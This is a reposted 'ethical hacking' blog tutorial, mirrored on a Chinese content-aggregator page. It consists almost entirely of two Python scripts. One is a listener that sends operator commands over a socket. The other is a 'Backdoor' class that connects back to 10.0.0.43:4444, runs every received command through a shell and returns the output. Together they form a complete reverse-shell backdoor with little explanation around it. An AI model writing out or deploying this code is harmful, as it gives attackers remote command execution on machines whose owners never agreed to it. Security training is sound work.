Python Ethical Hacking - BACKDOORS

Posted keepmoving1113

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python Ethical Hacking - BACKDOORS相关的知识,希望对你有一定的参考价值。

Refactoring - Creating a Listener Class

#!/usr/bin/env python
import socket


class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connections")
        self.connection, address = listener.accept()
        print("[+] Got a connection from " + str(address))

    def execute_remotely(self, command):
        self.connection.send(command)
        return self.connection.recv(1024).decode()

    def run(self):
        while True:
            command = input(">> ").encode()
            result = self.execute_remotely(command)
            print(result)


my_listener = Listener("10.0.0.43", 4444)
my_listener.run()

 

Creating a Backdoor class:

#!/usr/bin/env python
import socket
import subprocess


class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.connection.recv(1024).decode()
            command_result = self.execute_system_command(command)
            self.connection.send(command_result)
        connection.close()


my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()

技术图片

 

以上是关于Python Ethical Hacking - BACKDOORS的主要内容,如果未能解决你的问题,请参考以下文章

Python Ethical Hacking - Malware Packaging

Python Ethical Hacking - Malware Packaging

Python Ethical Hacking - VULNERABILITY SCANNER

Python Ethical Hacking - VULNERABILITY SCANNER

Python Ethical Hacking - VULNERABILITY SCANNER

Python Ethical Hacking - VULNERABILITY SCANNER